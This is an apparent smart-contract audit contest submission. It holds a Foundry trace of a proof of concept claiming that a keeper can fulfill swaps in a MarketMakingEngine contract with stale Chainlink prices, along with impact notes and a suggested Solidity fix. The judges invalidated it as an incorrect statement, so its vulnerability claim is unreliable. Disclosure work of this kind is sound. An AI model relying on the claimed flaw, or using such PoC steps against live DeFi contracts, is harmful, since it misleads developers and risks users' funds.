├─ [147072] MarketMakingEngine::fallback(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], 1, 0x2be474967e88dc2edd1e9bb256d97c9e20fe2da2e7ba036ac97d8a8ec18096126c4e524ddd1a9d9ef7d40d714a1df1d9d08fe07c489b5d0a93da4552d683ffa55f320e8791952e05253f72ce0f26c053e955e4936f096b0837635671e4ced9c500000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba])
│ ├─ [144233] StabilityBranch::fulfillSwap(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], 1, 0x2be474967e88dc2edd1e9bb256d97c9e20fe2da2e7ba036ac97d8a8ec18096126c4e524ddd1a9d9ef7d40d714a1df1d9d08fe07c489b5d0a93da4552d683ffa55f320e8791952e05253f72ce0f26c053e955e4936f096b0837635671e4ced9c500000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba]) [delegatecall]
│ │ ├─ [170] Chainlink Verifier::s_feeManager() [staticcall]
│ │ │ └─ ← [Return] Chainlink Fee Manager: [0x47f315e493016E06bDb51cF676C130D270695aa6]
│ │ ├─ [142] Chainlink Fee Manager::i_nativeAddress() [staticcall]
│ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000
│ │ ├─ [1174] Chainlink Fee Manager::getFeeAndReward(MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], 0x000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, 0x0000000000000000000000000000000000000000)
│ │ │ └─ ← [Return] FeeAsset({ assetAddress: 0x0000000000000000000000000000000000000000, amount: 0 }), FeeAsset({ assetAddress: 0x0000000000000000000000000000000000000000, amount: 0 }), 0
│ │ ├─ [1805] Chainlink Verifier::verify(0x2be474967e88dc2edd1e9bb256d97c9e20fe2da2e7ba036ac97d8a8ec18096126c4e524ddd1a9d9ef7d40d714a1df1d9d08fe07c489b5d0a93da4552d683ffa55f320e8791952e05253f72ce0f26c053e955e4936f096b0837635671e4ced9c500000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ │ │ └─ ← [Return] 0x000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ ├─ [7856] USDz::burn(2000000000000000000000 [2e21])
│ │ │ ├─ emit Transfer(from: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], to: 0x0000000000000000000000000000000000000000, value: 2000000000000000000000 [2e21])
│ │ │ └─ ← [Stop]
│ │ ├─ [27595] weETH::transferFrom(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5], MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], 666666666666657468 [6.666e17])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5], to: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], value: 666666666666657468 [6.666e17])
│ │ │ └─ ← [Return] true
│ │ ├─ [5260] weETH::transfer(Perps Engine: [0x059C5B023B577e82C346721653420711bFbdE3f9], 0)
│ │ │ ├─ emit Transfer(from: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], to: Perps Engine: [0x059C5B023B577e82C346721653420711bFbdE3f9], value: 0)
│ │ │ └─ ← [Return] true
│ │ ├─ [25160] weETH::transfer(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], 666666666666657468 [6.666e17])
│ │ │ ├─ emit Transfer(from: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], to: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], value: 666666666666657468 [6.666e17])
│ │ │ └─ ← [Return] true
│ │ ├─ emit LogFulfillSwap(user: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], requestId: 1, vaultId: 1, amountIn: 2000000000000000000000 [2e21], minAmountOut: 0, assetOut: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], deadline: 1680224400 [1.68e9], amountOut: 666666666666657468 [6.666e17], baseFee: 0, swapFee: 1, protocolReward: 0)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [582] weETH::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 666666666666657468 [6.666e17]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 728.26ms (707.95ms CPU time)
Ran 1 test suite in 1.42s (728.26ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Expected amount: 1000000000000000000
Actual amount with stale price: 666666666666657469
Deviation percentage: 33%

Impact

When prices move significantly:

Keepers can use stale lower prices to extract excess tokens

Users receive significantly fewer tokens than expected

~33% deviation demonstrated in PoC with realistic price movements

Tools Used

Foundry

Manual code review

Recommendations

Add timestamp validation in fulfillSwap():

function fulfillSwap(
address user,
uint128 requestId,
bytes calldata priceData,
address engine
) external onlyRegisteredSystemKeepers {
// Add timestamp check
(uint256 timestamp, uint256 price) = abi.decode(priceData[64:], (uint256, uint256));
require(block.timestamp - timestamp <= MAX_PRICE_DELAY, "Stale price");
// Add deviation check
uint256 currentPrice = IPriceAdapter(priceAdapter).getPrice();
require(
abs(price - currentPrice) <= maxDeviation,
"Price deviation too large"
);
Updates

Lead Judging Commences

inallhonesty Lead Judge
7 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.